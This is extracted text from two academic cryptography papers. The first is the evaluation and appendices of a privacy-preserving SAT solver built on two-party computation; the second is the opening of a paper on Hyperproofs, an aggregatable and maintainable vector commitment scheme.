the oblivious stack. Hence, each of them is data-oblivious.

These individual subroutines must be combined in a man-
ner that maintains data-obliviousness, which is why we adapt
DPLL to enforce so-called giant steps (cf. § 4.2). A giant
step executes these several small steps in a deterministic or-
der, which are then consolidated through multiplexing. The
use of giant steps may result in redundant and ultimately dis-
carded operations, but are necessary to hide the (usually data-
dependent) DPLL step being applied. Obliviousness must
also be enforced for the decision heuristics. Hence our careful
choice of three standard DPLL heuristics amenable to for-
mulation using the same linear scanning and multiplexing
techniques: DLIS, RAND, and Weighted-RAND (cf. § 4.3).

A security argument follows from the data-oblivious nature
of our solver, the security of two-party computation, and stan-
dard composition results [10]. A simulator Sim1−b invokes
the simulators for the fixed sequence of circuits, and halts
according to τ or τλ,n,m by injecting s and (optionally) M into
the final output. We refer to [37, 38] for discussion of the
proof techniques underlying this sketched argument.

5 Evaluation
Testbed. We implemented our solver using the semi-honest
2PC library of the EMP-toolkit [60]. For managing the obliv-
ious stack we adopted an existing reimplementation of the
circuits of Zahur et al. [63]. All evaluations were run on a ma-
chine with 8GB of RAM and an Intel(R) Core(TM) i7-8700K
CPU @ 3.70GHz * 6 processor, with network bandwidth up
to 10 Gbps.

Experiment Design. We first measured (§5.1) the perfor-
mance of a single giant step – in terms of both the number
of gates and the runtime of each subroutine – over formulas
of various sizes. These evaluations verified our analysis of
the asymptotic complexity of ppSAT and its most critical bot-
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Figure 2: Subroutine time for our ADS instantiation when β≈ n. The runtimes of all four subroutines show linear growth as the number
of variables rises. The runtimes of UNITSEARCH, PROPAGATION and CHECK also increase with the number of clauses. Due to our optimized
implementation, the runtime of DECISION is independent of the number clauses.

tlenecks. We then benchmarked (§5.2) our ppSAT solver by
testing what proportion of instances it was able to solve (up
to a timeout). Finally, we compared (§5.3) the performance of
our ppSAT solver against two plaintext solvers: our oblivious
ppSAT algorithm executed without cryptographic primitives
or communication, and the state-of-the-art Kissat solver [2].
Instance Generation. For measuring the cost of a single gi-
ant step the instances were generated randomly. Due to the
oblivious nature of the algorithm this has no bearing on the
evaluation. For the full evaluation benchmarks, we projected
the cost of our solver on small haplotype satifiability instances
drawn from the dataset of [43] which was used in the origi-
nal SHIPs papers [41, 42]. Our instances have parameters of
either (i) |G| ∈ [1..8] and r = 2|G|, intended to evaluate the
effect of instance size; or (ii) |G|= 3 and r ∈ [3..6], so as to
evaluate the effect of instance hardness and (un)satisfiability.
We list the resultant formula sizes in terms of n and m in
Table 1. Although these databases are smaller than modern
HIPP benchmarks, important medical research that motivated
early work in computational haplotype inference occurred
over datasets where |G| ≈ 10 [36, 53].

|G| #var×#clause (≈) |G| #var×#clause (≈)
1 60×170 2 150×700

3 r = 3 150 ×750 3 r = 5 200×1200
r = 4 180×1000 r = 6 250×1400

4 350×2600 5 400×4000
6 600×6000 7 800×8000
8 900×10000 — —

Table 1: The size of the formulas for our benchmarks.

5.1 Micro Benchmarks for Single Giant Steps
We measured the time consumption and number of gates
of UNITSEARCH,DECISION,CHECK, and PROPAGATION for
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Figure 3: Time for heuristics when n = 100. The runtime of each
heuristic grows with an increase in the number of clauses.
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Figure 4: Time for one giant step varying n, m, and the heuristic.
The DECISION routine dominates the performance of each giant step.
The runtime of BACKTRACK is almost negligible in comparison to
the other subroutines, and therefore is not visible in the figure.

each combination of n ∈ {10, 50, 100, 1000} and m ∈
{100, 1000, 5000, 10000}, which covers the typical size of
instances in older benchmarks such as [30].

Unit Search, Propagation, and Check: The first three rows
of Table 2 show the number of gates in UNITSEARCH, PROP-
AGATION and CHECK for formulas of different sizes. The
number of gates increases linearly with both n and m, which
is consistent with our asymptotic analysis.

Figures 2(a-c) graph the execution time of UNITSEARCH,
CHECK and PROPAGATION. The observed time appears linear
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#var×#clause 100×5K 100×10K 1K×10K
Unit Search 10 20 200
Propagation 6 12 120

Check 8 16 160
Backtrack 0.02 0.02 0.22

Decision
D
R
W

30
12
88

60
24

175

600
240
1740

Table 2: The approximate number of gates for each subroutine.
The units are in millions. D, R, and W refer to the DLIS, RAND,
and Weighted-RAND heuristics respectively.

in the number of variables and clauses, though the growth
in the latter decreases, likely due to amortization of general
overhead. This is as expected, since UNITSEARCH, CHECK
and PROPAGATION all run in O(mn) time. The evaluation
shows that even for larger instances with n≈ 1000 and m≈
10000 these routines cost less than 10 seconds each.
Backtrack: Figure 2(d) shows the time per BACKTRACK ex-
ecution, which reflects the fourth row of Table 2 in showing
that the number of gates increases linearly with n, but is inde-
pendent of m. Due to an optimization in our implementation
the cost of backtracking only depends on the number of vari-
ables: we store just the current model (including isAlive) in the
oblivious stack, and then recover the formula state within the
next multiplexer. As models are just O(n) bits this is indepen-
dent of the number of clauses. Due to this efficient oblivious
stack design the BACKTRACK time for an instance where
n = 1000 and m = 10000 takes only ≈ 0.01s.
Decision: The last row of Table 2 presents the number of gates
for DECISION, when using our different heuristics from §4.3.
The figure shows DECISION is the most expensive compo-
nent of ppSAT. While each heuristic linearly scales up in
O(mn) time, RAND takes the fewest concrete gates. Figure 3
compares the experimental runtimes when n = 100 and with
various clause sizes. Again, the observed growth for each
heuristic is as expected linear in the number of clauses. The
Weighted-RAND heuristic is the most expensive at almost
twice the cost of DLIS – likely as it combines RVS with fre-
quency counting. The simpler RAND is cheapest at about
only half the time of DLIS.
Giant Step: Figure 4 displays the observed time for a full
giant step across a variety of choices for n, m, and heuristic.
For instances of the same size the fraction that each com-
ponent takes remains stable, as expected. For instances of
size typical for old benchmarks (n ≈ 100,m ≈ 10000) the
time cost is roughly 3s, 5s, and 10s with RAND, DLIS and
Weighted-RAND respectively.

5.2 Solving Benchmarks
To evaluate the performance of our solver we first measured
the total number of giant steps S for our instances. Although

our solver implementation is complete, as cryptographic op-
erations do not affect S to save time we gathered this data
with all cryptographic operations removed. We then used the
methodology of the micro benchmarks to get a timing C for a
single 2PC giant step for those instances, from which the total
runtime can be projected as S×C. We also ran the complete
ppSAT solver over an UNSAT formula of 1000 variables and
1000 clauses, which took 3019.7 seconds and 532 communica-
tion rounds. The projected time was 2993.8 seconds, differing
from the real run time by only 0.8%.

We benchmarked our solver using instances we reduced in
size from the haplotype inference dataset of [43], specifically
the 100kb genotype data. We used 232 instances in total to
benchmark our solver, varying over |G| and r as previously
described. When r = 2|G| the formulas are necessarily sat-
isfiable, while the remaining are mostly unsatisfiable. Both
Figure 5 and Figure 6 depict the proportion of the instances
solved within a particular time, i.e., a point (x,y) indicates
that y proportion of the instances are projected to be solved
within x seconds. We set the timeout to 200k seconds (≈ 2.3
days).

For the first trial (Figure 5) the instances vary in |G| while
r is fixed to be 2|G|. All three heuristics can solve most for-
mulas before the timeout for |G| ≤ 3, but vary in performance
when the formulas get larger. For those smaller formulas DLIS
outperforms RAND and Weighted-RAND. However, when
|G| > 3, Weighted-RAND outperforms the other two, and
when |G|= 8 it is the only heuristic with which the solver can
successfully solve any benchmarks. This result is expected
and reasonable: though expensive per giant step, it is the only
one of the three to combine randomness with insight into the
formula structure (through the weighting).

In the second trial (Figure 6) we evaluated the performance
of our solver for various r with fixed |G|= 3. When r < 2|G|
the formula can (i) be unsatisfiable; or (ii) remain satisfiable
but potentially be more difficult, as it requires some haplo-
types to explain more than one genotype. The solver can
handle over 70% instances before the timeout for all heuris-
tics and almost all r, though the RAND heuristic leads to
only 30% success when r = 5. Despite the larger formulas
the solver is more successful for r = 6 than for r = 5, likely
due to the greater solution freedom explained by (i) and (ii).

5.3 Comparison to Plaintext Solvers
Finally, we compared our ppSAT solver against itself when
run in the plaintext. We wrote our plaintext solver in Python
by implementing our pseudocode in the natural way, i.e., ev-
ery garbled circuit was replaced with standard RAM model
operations, and a non-oblivious stack was used. Table 3 shows
the results and so the overhead brought by communication
and 2PC. We also compared ppSAT with the state-of-the-art
Kissat SAT solver [2]. For our 232 benchmarks Kissat can
solve 231 of the instances within 0.02s, and the last within 1s.
For brevity we omit the raw data from this experiment.
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Figure 5: Haplotype benchmarks for when |G| ∈ [1..8] and
r = 2|G| with timeout of 200k seconds. With all heuristics the
solver is successful on small formulas, e.g., |G| ≤ 2, for which DLIS
outperforms the randomized heuristics. Weighted-RAND becomes
the most effective for larger databases.
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Figure 6: Haplotype benchmarks for r ∈ {3,4,5,6} when |G|=
3 with timeout of 200k seconds. Our solver resolves over 80% of
benchmarks before timing out, except for RAND when r = 5.

6 Conclusion
The field of SAT solving has seen a superb (and continu-
ing) developmental arc since the publication of DPLL almost
60 years ago. Given its centrality to computing and the im-
portance of data privacy to modern technology and society,
efficient privacy-preserving SAT solving would likely be a
versatile and powerful tool for research and practice. In this
paper we established the core security definitions, oblivious
DPLL design, and private decision heuristics necessary to
implement a ppSAT solver capable of resolving small but
practical instances. Of perhaps greater importance than our
empirical results is the basis this lays for future work towards
more efficient and effective ppSAT solvers, which we might
hope will retrace the developmental arc of SAT solving itself.

Limitations & Future Directions. The centrality of CDCL
to modern SAT solving makes its reformulation for ppSAT,
as discussed in §4.3, the most important direction for future
work. The greatest limitation of the original DPLL algorithm –
and so also of our oblivious adaption of it – is its inability to ef-
fectively learn from failed branches of its search. CDCL is the
dominant enhancement of DPLL for rectifing this shortcom-
ing [20], and it is hard to imagine a path to general practicality
for ppSAT solving that does not also rely upon it, especially
for UNSAT instances.

Pruning the search tree is not the only tactic, however, for

#var×#clause 50×10K 100×10K 1K×10K
RAND 3.4× 5.1× 47.0×

Weighted-RAND 8.3× 11.0× 165×
DLIS 4.6× 6.4× 136.8×

Table 3: Slowdown of ppSAT compared with it in the plaintext.
In the plaintext means all data and operations are public during the
computation.

beating back the combinatorial explosion of DPLL. Modern
SAT solvers rely heavily on “making their own luck” for
searching what remains through intelligent decision heuris-
tics. Our DLIS, RAND, and Weighted-RAND heuristics are
limited by the standards of modern solvers [46], but have
the benefit for us of being naturally implementable within
Boolean circuits. Adapting or developing a fresh suite of ef-
fective heuristics suitable for oblivious computation – perhaps
even using mixed-mode MPC (i.e., with both Boolean and
arithmetic circuit primitives) – is another major future direc-
tion. Decision heuristics also provide a particularly fertile
ground for further collaboration between the cryptography
and formal methods communities, as they will require recon-
ciling the algorithmic techniques of each. Together, adapting
CDCL and developing suitable decision heuristics are the
foremost steps to generally practical ppSAT solving.

The last two directions for future work we emphasize are
discussed more comprehensively in Appendix D. The first is
to begin to understand the practical meaning of any privacy
loss permitted by our security definitions. There is limited
prior work on characterizing information leakage from MPC
for general computations, with that of Mardziel et al. [44]
the only known to the authors. At present we cannot in any
meaningful sense explain what a party loses in privacy by, e.g.,
setting a specific τλ,n,m based on an economic analysis of pro-
jected runtime using our micro benchmarks methodology, or
choosing an exact-time-revealing solver over its time-bound-
revealing cousin. Given the rich and complex encoding of
information within the structure of SAT formulas, exploring
how ppSAT solvers should leak information (which may be
especially important to integrating CDCL) is likely necessary
for widespread confidence in their future practical deploy-
ment. Finally, in the appendix we also discuss a collection of
preprocessing optimizations which trade off efficiency against
privacy. As the core algorithms of ppSAT solving develop and
mature, expanding the suite of such techniques may further
encourage the development of practical tooling.
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A Details of Our Security Definition
Our formal definition of a secure ppSAT solver has four vari-
ants depending on when it halts and whether a model is output.
For brevity, we only explicitly give the most comprehensive.

Definition A.1 (Two-Party Exact-Time-and-Model-Reveal-
ing ppSAT Solver). Let λ be a security parameter, φ0, φ1, φpub
be Boolean propositional formulas over variables v1, . . . , vn
such that m = |φ0|+ |φ1|+ |φpub|, and T (λ, n, m) = τλ,n,m be
a polynomial. For b ∈ {0, 1}, let

vreal
b = viewΠ

b (φb, n, m, φpub,τλ,n,m,
P1−b(φ1−b, n, m, φpub, τλ,n,m)),

and

videal
b = viewΠ

b (φb, n, m, φpub,τλ,n,m,
Sim1−b(φb, n, m, φpub, τλ,n,m, s, M , τ)).

be the real and ideal views of Pb after executing protocol

(s, M )←Π(φ0 ‖ φ1; n, m, φpub, τλ,n,m)

terminating in τ≤ τλ,n,m steps. Then Π is a two-party exact-
time-and-model-revealing privacy-preserving SAT solver (2p-
etmr-solver) if

1. s = 1 iff ∃M ′.(M = M ′)∧M ′ |= φ;

2. s = 0 iff 6 ∃M ′.M ′ |= φ; and

3. there exists Sim1−b such that for any probabilistic
polynomial-time (PPT) decision algorithm A:

|Pr[A(1λ, vreal
b ) = 1]−Pr[A(1λ,videal

b ) = 1]| ≤ negl(λ)

where negl(λ) is eventually bounded above by the inverse
of every polynomial function of λ.

The three other variants of this definition are (i) a time-bound-
and-model-revealing solver (2p-tbmr-solver), where the simu-
lator is not given τ; (ii) an exact-time-revealing solver (2p-etr-
solver), where M is removed from the definition; and (iii) a
time-bound-revealing solver (2p-tbr-solver) which combines
the changes from (i) and (ii). Intuitively, the time-bound-
revealing definitions require the protocol to run for τλ,n,m
steps always, while the exact-time-revealing definitions allow
halting immediately upon resolution, and require aborting at
τλ,n,m if necessary.

B Instantiating the ADS for β� n
Recall that β≤ n is the maximum clause length in an instance
φ. When it is publicly known that the maximum number
of literals appearing in any given clause is small, an alter-
native approach to binary clausal vectors is to use signed
integers to represent both assignments and literals; i.e., ¬v j
and the assignment v j = 0 are each represented by − j. A
clause C ∈ φ is encoded by two vectors, literals ∈ Zβ and
active ∈ {0, 1}β. The literals vector is composed of β signed
integers which encode the literals and their sign, padded out
with zeros as necessary. The active vector encodes whether
the i-th literal has been removed from C. As an example,
at initialization (v1 ∨ v3 ∨¬v5) with β = 4 will be encoded
as literals = [1,3,−5,0] and active = [1,1,1,0]. A literal or
assignment is negated by flipping the sign.

Determining if a clause is unit can be implemented by
scanning active and checking if it has a unique non-zero entry.
To check membership of an `= j ∈C the algorithm checks if
there exists an i such that active[i] = 1 and literals[i] = j, while
removing it is accomplished by setting active[i] = 0 when
literals[i] = j.

At rest this instantiation provides more efficient clausal
representations so long as β · k < n where k > log n is the
bit-length of the integer encoding. In practice, our evaluation
of this approach suffered in comparison to that for β≈ n due
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Algorithm 7: Clausal Algorithms when β� n

1 Function C j.unit():
2 b1← 0; b2← 0
3 for i← 1 to β do
4 b2← (active[i]∧b1)∨b2
5 b1← active[i]∨b1

6 return b1∧¬b2

7 Function C j.contain(` ∈ Z):
8 b← 0
9 for i← 1 to β do

10 b← b∨ (active[i]∧ literals[i] = `)
11 return b
12 Function C j.remove(a ∈ Z):
13 for i← 1 to β do
14 b← (literals[i] = a)
15 active[i] = ¬b∧ active[i]

Algorithm 8: Unit Search
Input: φ

Output: b ∈ {0, 1}, a = (ind+, ind−)
1 a←⊥; b← 0 ;
2 for j← 1 to m do
3 u j←C j.unit();
4 if u j = 1 then
5 a←C j; b← 1;
6 return b, a

to the reduced efficacy of an implementation optimization for
the oblivious stack. Specifically, to reduce the cost of the stack
operations our code only stores the current set of assignments
(including isAlive) within it, and then reconstructs the formula
during a backtrack. The signed integer encoding requires
spending a few hundred gates to compare every assignment
to every literal, of which there are β ·nm such comparisons.
Resolving this gap is a potential optimization path.

C Subroutine Definitions
We give our formal definitions for the UNITSEARCH, CHECK,
and PROPAGATION subroutines (see §4) as Algorithms 8-10.

D Additional Considerations
We raise a few additional considerations worthy of expansion,
which also point towards potential future research directions.

Noisy Termination. There are inherent compromises to
both exact-time-revealing and time-bound-revealing solvers.
For the former, it is not immediate how much information
leakage occurs when halting at resolution. In some circum-
stances it may be significant. For example, if φ0 and φ1 each
contain unit clauses (vi) and (¬vi) respectively then the solver
will always halt on the first giant step. If the inclusion of these
clauses carries privacy implications then this leakage may be

Algorithm 9: Check
Input: φ, `= (ind+, ind−)
Output: b ∈ {0,1,2}

1 b0← φ.empty();
2 b1← 0;
3 for j← 1 to m do
4 if C j.unit()∧C j.contain(¬`) then
5 b1← 1;
6 if b0 = 1 then
7 return 0;
8 else if b1 = 1 then
9 return 1;

10 else
11 return 2;

Algorithm 10: Propagation
Input: φ, a = (ind+, ind−)
Output: φ′

1 for j← 1 to m do
2 b0←C j.contain(a);
3 b1←C j.contain(¬a);
4 if b0 = 1 then
5 φ.remove(C j);
6 if b1 = 1 then
7 C j.remove(¬a);
8 return φ

unacceptable. Nonetheless, it seems plausible that for many
natural instances such runtimes are too coarse a measure to
contain information compromising to privacy in practice –
especially when using randomized heuristics. As for time-
bound-revealing solvers, running for τλ,n,m steps may be ex-
pensive and undesirable when not required for correctness.
Always requiring such a high cost could very well limit the
economic or social value of the solver.

A potential third way is to not terminate exactly upon reso-
lution, but instead to add calibrated noise to extend the runtime
for a manageable but privacy-enhancing number of steps. The
theory of differential privacy (DP) [17, 18] would seem to
provide an applicable toolkit, and has in fact been integrated
with 2PC for the closely related purpose of "noisy load over-
estimation" in a line of recent work [23, 28]. The intuitive
idea, following He et al. [28], is to relax Definition A.1 to
allow a bounded difference in the output of the adversary for
any two formulas of the same length. However, we cannot
directly use their formulation of output-constrained DP, since
in our case only some of the output (τ) will have added noise
on release – both s and (when applicable) M will be released
exactly.

Instead, we formulate a (ε0, ε1, δ0, δ1)-noisy-time-and-
model-revealing ppSAT solver (or (ε0, ε1, δ0, δ1)-2p-ntmr-
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solver) by altering Definition A.1 so that (i) instead

videal
b,φ′1−b

= viewΠ
b (φb, n, m, φpub,τλ,n,m,εb, δb,

Sim1−b(φb, φ
′
1−b, n, m, φpub, τλ,n,m,ε1−b,δ1−b, s, M ))

for εb, ε1−b > 0 and 0≤ δb, δ1−b < 1, and (ii) requiring that
there exist a Sim1−b such that:

Pr[A(1λ, vreal
b ) = 1]≤ eε1−b ·Pr[A(1λ,videal

b,φ′1−b
) = 1]+δ1−b

for all φ′1−b such that |φ1−b|= |φ′1−b|. Intuitively the simula-
tor no longer has τ, and so instead must internally execute
the ppSAT solver over φ′ = φb∧φ′1−b∧φpub to determine a
resolution time ρS, before adding noise to determine a τS to
halt at. As the real world stopping time τR is also a noisy
version of the true resolution time ρR, suitable noise will
allow the simulator to meet the requirement for (ε1−b, δ1−b)-
indistinguishability.

Unfortunately the instability of SAT instances makes this
guarantee difficult to practically realize. With this definition
we are viewing the ppSAT solver as a mechanism which on
input a "database" in the form of φ noisily outputs the resul-
tant runtime τφ ∈ [1..τλ,n,m]. The amount of noise required
depends on the sensitivity ∆τ=maxφ,φ′maxτφ,τφ′ |τφ−τφ′ | for
all pairs φ, φ′ where |φ1−b| = |φ′1−b| and φpub = φ′pub. How-
ever, ∆τ can often be a significant fraction of τλ,n,m as it is
taken over all φ′ of a certain length, including, e.g., crypto-
graphic instances [20]. This is far larger of a sensitivity than
DP mechanisms naturally work well with. For example, apply-
ing the load overestimating techniques from [23, 28] would
lead to increasing the runtime by ≈ 40 ·∆τ/ε giant steps on
average [23], while we ideally want ε < 1 and certainly desire
it to be small [18].

When applying DP outside its origin in private statistical
data analysis, a common technique is to reduce the anonymity
set by restricting the sensitivity to some other definition of
pairs of "adjacent" instances [15]. However, it is unclear how
to do this for SAT instances in a reasonable way. Character-
izing what makes SAT instances natural is a deeply rich and
complex question with numerous mathematical and empirical
notions in the literature – clause density, treewidth, backdoors,
modularity, etc. [7, 20]. There is no immediately apparent way
to decide which formulas to include in a definition of adja-
cency based on these metrics, nor how to prove a usefully
reduced sensitivity from them. Alternatively, in some settings
empirical analysis might show that distributions of runtimes
are nicely clustered for both SAT and UNSAT instances, al-
lowing noise calibrated to smaller sensitivities justified on
those statistics. But even then the sensitivity may very well
require impractical noise.

We mostly leave these questions open. One potential di-
rection might be to make a leap in logic and characterize
the output of the mechanism as the proportion τ/τλ,n,m. The
exponential mechanism [18] could then be used with buck-
eting of runtimes and an MPC outcome selection similar to

the approach used in Algorithm 6. Though this is not justi-
fied on first principles it may be defensible. In private data
analysis the sensitivity of a uniquely identifying query (e.g.,
"count ‘John Doe with UID: 1234’ entries in the database")
exactly captures the worst-case information leakage. Since
the leakage from SAT runtimes is arguably much coarser, the
proportion of the available time used may be a more natural
interpretation of leakage than the actual number of giant steps.
But such an approach would compromise the firm foundations
of the DP guarantee.

Preprocessing Optimizations. Continuing along the lines
of trading off efficiency for leakage, we briefly raise a few
potential preprocessing optimizations. In general, developing
a suite of similar such techniques, as well as an understanding
of the tradeoffs they bring, may be a rich avenue for future
work.

1. Though private set disjointedness is likely unreasonable
over the (often massive) set of valid models, it could be
used to find unit clause conflicts before initializing the
full SAT solver. For example, suppose φ1 has forced vari-
ables pos0 = {v1, v3}, and neg0 = {v17}, i.e., v1 = 1, v3 =
1, v17 = 0 must all necessarily be assigned. If φ1 has forced
pos1 = {v1, v9} and neg1 = {v3}, then the Pi could de-
termine that |pos0∩neg1|+ |neg0∩pos1|> 0 and output
UNSAT immediately. The tradeoff would be to leak infor-
mation about the composition of these sets.

2. Another potential technique would be to allow parties to
provide “hints”, i.e., partial models which satisfy (part of)
their formula. In particular, each party could provide a set
of assignments which resolve especially tricky structures
within their input. By loading all of these hints into an-
other oblivious stack they could each be explored from,
ultimately falling back on an empty model if none are
successful.

3. A final idea applies when φ can be split into subsets of
clauses all of which are independent from each other in
terms of the variables they reference. For example, φ =
(v1)∧ (v1 ∨ v2)∧ (v3 ∨ v4) may be split into φa = (v1)∧
(v1∨v2) and φb = (v3∨v4). If the Pi are willing to leak the
variable inclusions in these subinstances it would allow
running them independently, potentially reducing costs as

(2n1 logn1) · · ·(2nk lognk)≤
(2n1 + · · ·+2nk) log(n1 + · · ·+nk).

for k subinstances each of ni variables for i ∈ [k]. Privately
finding these subinstances could be done through an oblivi-
ous breadth-first search for strongly connected components
over the adjacency graph of φ, adapting from [8].
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Abstract
We present Hyperproofs, the first vector commitment (VC)
scheme that is efficiently maintainable and aggregatable. Sim-
ilar to Merkle proofs, our proofs form a tree that can be ef-
ficiently maintained: updating all n proofs in the tree after a
single leaf change only requires O(logn) time. Importantly,
unlike Merkle proofs, Hyperproofs are efficiently aggregat-
able, anywhere from 10× to 41× faster than SNARK-based
aggregation of Merkle proofs. At the same time, an individ-
ual Hyperproof consists of only logn algebraic hashes (e.g.,
32-byte elliptic curve points) and an aggregation of b such
proofs is only O(log(b logn))-sized. Hyperproofs are also
reasonably fast to update when compared to Merkle trees
with SNARK-friendly hash functions.

As another benefit over Merkle trees, Hyperproofs are ho-
momorphic: digests (and proofs) for two vectors can be homo-
morphically combined into a digest (and proofs) for their sum.
Homomorphism is very useful in emerging applications such
as stateless cryptocurrencies. First, it enables unstealability, a
novel property that incentivizes proof computation. Second,
it makes digests and proofs much more convenient to update.

Finally, Hyperproofs have certain limitations: they are not
transparent, have linear-sized public parameters, are slower to
verify, and have larger aggregated proofs and slower verifica-
tion than SNARK-based approaches. Nonetheless, end-to-end,
aggregation and verification in Hyperproofs is 10× to 41×
faster than in SNARK-based Merkle trees.

1 Introduction

Vector commitment (VC) schemes [21, 39] such as Merkle
trees [40] are fundamental building blocks in many protocols.
In a VC scheme, a prover computes a succinct digest d of a
vector a = [a1, . . . ,an] and proofs π1, . . . ,πn for each position.
A verifier who has the digest d can later verify a proof πi
that ai is the correct value at position i. Some VCs, such as
Merkle trees, are maintainable: when the vector changes all
proofs can be efficiently updated in sublinear time, rather than

recomputed from scratch in linear time. Other VCs, such as
Pointproofs [28], are aggregatable: the prover can take several
proofs πi for i ∈ I and efficiently aggregate them into a single,
succinct proof πI .

Unfortunately, no current VC scheme is both maintainable
and aggregatable; at least not efficiently. Yet emerging appli-
cations such as stateless cryptocurrencies [12,22,28,41,52,57,
59] rely on dedicated nodes to efficiently maintain all proofs
and also on miners to efficiently aggregate proofs. While
generic argument systems (e.g., SNARKs [30, 49]) can be
used to add aggregation to maintainable VCs such as Merkle
trees, this is too slow in practice (see §5.2). This brings us
to this paper’s main concern: Can we build an efficient VC
that is both maintainable and aggregatable? In this paper,
we answer this positively and present Hyperproofs. Similar
to Merkle trees, Hyperproofs are logn-sized and determine a
tree. This makes updating all proofs very efficient in logarith-
mic time. However, Hyperproofs are built from polynomial
commitments [32,46] rather than hash functions such as SHA-
256. This enables a natural aggregation algorithm that is 10×
to 41× faster than “SNARKing" multiple Merkle proofs.

In addition to aggregation and maintainability, Hyperproofs
have another very useful property: homomorphism. Specif-
ically, trees (and digests) for two vectors can be combined
into a single tree (and digest) for their sum. This has sev-
eral applications. First, homomorphism allows us to obtain
unstealability, a property which incentivizes proof computa-
tion in applications such as stateless cryptocurrencies [64].
In a nutshell, unstealability allows a prover to watermark
the proofs she computes with her identity, in an irreversible
manner. This way, honest provers can be rewarded for the
proofs they compute while malicious provers cannot steal
other provers’ proofs. Second, homomorphism makes updat-
ing digests (and Hyperproofs) more convenient than updating
Merkle roots (and proofs), which requires having the proof(s)
for the changed position(s) in the vector. Third, homomor-
phism allows authenticating data in a streaming setting [48].

Challenges. In designing Hyperproofs, we surmount three
key challenges. First, computing n proofs in Papamanthou-
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Shi-Tamassia (PST) polynomial commitments [46] takes
O(n2) time and is too slow. Second, aggregation of PST proofs
is difficult without generic SNARKs [30,49], which would be
too expensive. Third, unstealable proofs must remain main-
tainable and aggregatable. This precludes solutions based on
computing SNARKs over proofs which, in addition to being
slow (see §5.2), would sacrifice updatability (see “Strawmen”
in §3.4). Furthermore, unstealable proofs must continue to ver-
ify with respect to one global digest. This precludes solutions
that embed the identity of the prover inside the vector, which
results in as many digests as there are provers (and would
only be practical in a small-scale, permissioned setting).
Evaluation. In §5.1, we show Hyperproofs are small (1.44
KiB), they verify quickly (17.4 milliseconds) and are fast to
maintain (2.6 milliseconds per update). In §5.2, we show Hy-
perproof aggregation is much faster than Merkle proof aggre-
gation: 10× faster when using Poseidon hashes [29], which
likely need more cryptanalysis, and 41× faster when using
provably-secure Pedersen hashes. However, our faster aggre-
gation comes at a cost of slower verification for aggregated
proofs and a larger 52 KiB aggregate proof size. Nonetheless,
when considering the end-to-end aggregation and verification
time in stateless cryptocurrencies, Hyperproofs remain 10×
to 41× faster and outperform Merkle trees (see §5.3).
Limitations. To commit to a vector of size n, Hyperproofs
requires public parameters consisting of 2n− 1 group ele-
ments, which must be generated via a trusted setup, typically
decentralized via multi-party computation protocols [15]. In
future work, we hope to have a transparent setup by using
assumptions in hidden-order groups. We also do not explore
the subtleties of fully-integrating unstealable proofs into a
statelessly-validated cryptocurrency. Lastly, our macrobench-
marks only measure the computational overhead of VCs that
arises on the critical path to a consensus decision. While our
results show Hyperproofs lead to 10× faster decisions, we
do not claim this is sufficient to make the stateless setting
practical.

1.1 Overview of Techniques

Vectors as multilinear extensions (MLEs). We build upon
previous work [68,69] that represents a vector of size n= 2ℓ as
a multilinear extension (MLE) polynomial. For example, the
MLE of a= [5,2,8,3] is f (x2,x1)= 5(1−x2)(1−x1)+2(1−
x2)x1 + 8x2(1− x1)+ 3x2x1. Note that f correctly “selects”
the right ai given the binary expansion of i as input: f (0,0) =
5, f (0,1) = 2, f (1,0) = 8 and f (1,1) = 3.

PST commitments to MLEs. To commit to a vector,
we compute a Papamanthou-Shi-Tamassia (PST) commit-
ment [46] to its MLE (see §2.2) . For example, the
PST commitment to f above is C = g f (s1,s2)

1 ∈ G1, where
(s1,s2) ∈ Z2

p are secret points encoded in the public pa-
rameters of the scheme and g1 is the generator of G1.

For vectors of size 4, these public parameters consist of
gs1

1 ,g1−s1
1 ,g(1−s2)(1−s1)

1 , g(1−s2)s1
1 ,gs2(1−s1)

1 ,gs2s1
1 . Importantly,

we show that the selectively-secure variant of PST commit-
ments is actually adaptively-secure when restricted to only
proving evaluations on the Boolean hypercube {0,1}ℓ (see
§2.2). This reduces our proof size compared to previous work
based on PST [68, 69].

Multilinear trees. To prove that ai is the ith value in the vec-
tor a = [a0, . . . ,an−1], we compute a PST evaluation proof for
f (iℓ, . . . , i1) = ai w.r.t. the commitment C, where (iℓ, . . . , i1) is
the binary representation of i. Unfortunately, this takes O(n)
time per position. Thus, computing all n proofs would take
O(n2) time which is prohibitive. We reduce this to O(n logn)
by computing a novel multilinear tree (MLT) of proofs us-
ing a divide-and-conquer approach. Importantly, our MLT is
maintainable: updating all proofs after a change to the vector
only requires O(logn) time.

Proof aggregation. A proof πi for ai consists of PST com-
mitments (wi,ℓ, . . . ,wi,1) ∈Gℓ

1 defined in Fig. 2, such that the
following pairing equation holds:

e(C/gai
1 ,g2) = ∏

j∈[ℓ]
e(wi, j,g

s j−i j
2 ) , (1)

where e : G1×G2→GT is a pairing and g
s j
2 ’s are additional

O(ℓ)-sized PST public parameters in G2. To aggregate b
proofs, we prove knowledge of wi, j’s that pass Eq. 1 for each i,
resulting in a succinct O(log(bℓ)) aggregated proof size. Our
key ingredient is an inner-product argument (IPA) by Bünz et
al. [19] for proving several pairing equations hold.

Homomorphism and unstealablity. As we mentioned, Hy-
perproofs are homomorphic: exponentiating a PST evaluation
proof (wi,ℓ, . . . ,wi,1) by a constant α yields a proof for posi-
tion i but in a vector whose values are multiplied by α. We ob-
serve that if α is the secret key of a proof-serving node (PSN),
this makes the proof unstealable by other nodes who do not
have α. Importantly, the proof can still be verified against the
digest C, except the verifier must also give the node’s corre-
sponding public key gα

2 : e(C/gai
1 ,g

α
2 ) = ∏ j∈[ℓ] e(wα

i, j,g
s j−i j
2 ).

As an optimization, proof-serving nodes can exponentiate the
PST public parameters by α before computing proofs. This
way, when computing a multilinear tree (MLT) with these
parameters, all proofs are implicitly unstealable and the MLT
remains maintainable.

1.2 Related work
Below, we relate our VC to previous work and summarize in
Table 1.

Merkle trees. Our proofs consist of logn (algebraic) hashes
and can be as small as Merkle proofs if using 256-bit elliptic
curves [6]. However, Hyperproofs are orders of magnitude
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Table 1: Comparison with other VCs, which are not simultaneously aggregatable and maintainable (see “Agg time” and “UpdAllProofs time” columns). n is
the size of the vector, πi is a proof for position i and πI is an aggregated proof for k positions. Proof sizes and time complexities are in terms of group elements
and group exponentiations / field operations, respectively. (In RSA-based VCs [12, 20, 21, 37], we count O(ℓ) group operations as an exponentiation, where ℓ is
the bit-width of VC elements.) Items in red indicate worse performance than Hyperproofs. All schemes∗ support UpdDig and UpdProof (see Def. 2.1).

Scheme |πi| |πI | OpenAll
time

Agg
time

